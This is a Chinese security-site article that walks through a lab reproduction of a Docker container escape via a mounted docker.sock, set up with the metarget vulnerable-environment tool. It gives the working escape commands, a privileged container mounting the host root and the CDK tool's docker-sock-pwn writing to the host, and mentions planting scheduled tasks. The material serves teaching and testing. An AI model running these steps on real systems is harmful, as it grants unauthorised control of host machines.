freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

容器逃逸-挂载docker.sock导致容器逃逸
2023-11-06 21:52:12

Docker Socket是Docker守护进程监听的Unix域套接字,用来与守护进程通信——查询信息或下发命令。如果在攻击者可控的容器内挂载了该套接字文件(/var/run/docker.sock),可通过Docker Socket与Docker守护进程通信,发送命令创建并运行一个新的容器,将宿主机的根目录挂载到新创建的容器内部,完成简单逃逸。

环境搭建

基础环境:

./metarget gadget install k8s --version 1.16.5 --domestic

漏洞环境:

./metarget cnv install mount-docker-sock

执行完成后,K8s集群内metarget命令空间下将会创建一个名为mount-docker-sock的pod。宿主机的/var/run/docker.sock被挂载在容器内部。

漏洞复现

通过以下两个步骤来完成简单逃逸:

  1. 在容器内安装Docker命令行客户端
  2. 使用容器内的客户端通过Docker socket与Docker守护进程通信,发送命令创建并运行一个挂载宿主机根目录的容器,实现基本逃逸。

进入容器

kubectl exec -it mount-docker-sock -n metarget bash

安装docker客户端

apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh

执行docker ps 结果和宿主机相同,证实docker.sock挂载成功

然后可以借此启动一个挂载宿主机根目录的特权容器,完成简单逃逸:

docker run -it -v /:/host --privileged --name=sock-test ubuntu /bin/bash

cat etc/hostname

工具使用

使用CDK检测docker.sock容器逃逸

CDK项目地址:https://github.com/cdk-team/CDK/releases/

curl -LO https://github.com/cdk-team/CDK/releases/download/v1.5.2/cdk_linux_amd64

mv cdk_linux_amd64cdk

chmod a+x cdk

./cdk run docker-sock-check /var/run/docker.sock

从返回结果上看可以进行逃逸。

执行命令新建文件

./cdk run docker-sock-pwn /var/run/docker.sock "touch /host/tmp/pwn-success"

在宿主机上查看新建的文件

还可以执行其他的命令,比如计划任务等。

# 漏洞 # 网络安全 # 系统安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录